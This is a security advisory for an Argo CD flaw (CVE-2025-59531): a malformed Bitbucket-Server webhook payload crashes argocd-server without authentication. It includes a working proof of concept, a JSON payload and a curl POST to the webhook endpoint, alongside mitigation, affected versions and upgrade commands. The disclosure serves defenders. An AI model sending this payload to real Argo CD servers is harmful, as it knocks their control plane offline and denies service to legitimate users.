GHSA-f9gq-prrc-hrhc BIT-argo-cd-2025-59531 CVE-2025-59531 GO-2025-3993
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.59%
- Chance of exploitation in the next 30 days. Higher than 48.13% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-703 Improper Check or Handling of Exceptional Conditions
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.
A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.
Details
// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)
for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast
link := l.(map[string]any)
...
}
If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}
The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.
PoC
Save as payload-panic.json - note the non-array links.clone.
{
"eventKey": "repo:refs_changed",
"repository": {
"name": "guestbook",
"fullName": "APP/guestbook",
"links": { "clone": "boom" }
},
"changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Event-Key: repo:refs_changed' \
-H 'Content-Type: application/json' \
--data-binary @payload-panic.json
Observed crash (argocd-server restart):
panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
webhook.go:209 +0x1218
...
Mitigation
If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.bitbucketserver.secret: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/argoproj/argo-cd | >= 1.2.0, <= 1.8.7 |
No fix yet |
| github.com/argoproj/argo-cd | >= 1.2.0 |
No fix yet |
| github.com/argoproj/argo-cd/v2 | >= 2.0.0-rc1, < 2.14.20 |
2.14.20 |
| github.com/argoproj/argo-cd/v2 | < 2.14.20 |
2.14.20 |
| github.com/argoproj/argo-cd/v3 | >= 3.2.0-rc1, < 3.2.0-rc2 |
3.2.0-rc2 |
| github.com/argoproj/argo-cd/v3 | >= 3.1.0-rc1, < 3.1.8 |
3.1.8 |
| github.com/argoproj/argo-cd/v3 | >= 3.0.0-rc1, < 3.0.19 |
3.0.19 |
| github.com/argoproj/argo-cd/v3 | >= 3.0.0-rc1, < 3.0.19>= 3.1.0-rc1, < 3.1.8>= 3.2.0-rc1, < 3.2.0-rc2 |
3.0.193.1.83.2.0-rc2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/argoproj/argo-cd/v2 Go → 2.14.20
- go
go get github.com/argoproj/argo-cd/v2@v2.14.20 && go mod tidy
github.com/argoproj/argo-cd/v3 Go → 3.2.0-rc2
- go
go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-703: Improper Check or Handling of Exceptional Conditions
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fmxq-cgp8-87wp Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks | Critical | Also affects github.com/argoproj/argo-cd |
| GHSA-j6cw-g6p4-7hch Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL | High | Also affects github.com/argoproj/argo-cd |
| GHSA-h98r-wv3h-fr38 Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation | High | Also affects github.com/argoproj/argo-cd |
| GO-2026-5618 Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations | Medium | Also affects github.com/argoproj/argo-cd |
| GO-2026-5099 ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction | Critical | Also affects github.com/argoproj/argo-cd |
| GHSA-gpx4-37g2-c8pv Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook | High | Also affects github.com/argoproj/argo-cd |
| GHSA-wp4p-9pxh-cgx2 argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload | High | Also affects github.com/argoproj/argo-cd |
| GHSA-g88p-r42r-ppp9 Repository Credentials Race Condition Crashes Argo CD Server | Medium | Also affects github.com/argoproj/argo-cd |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor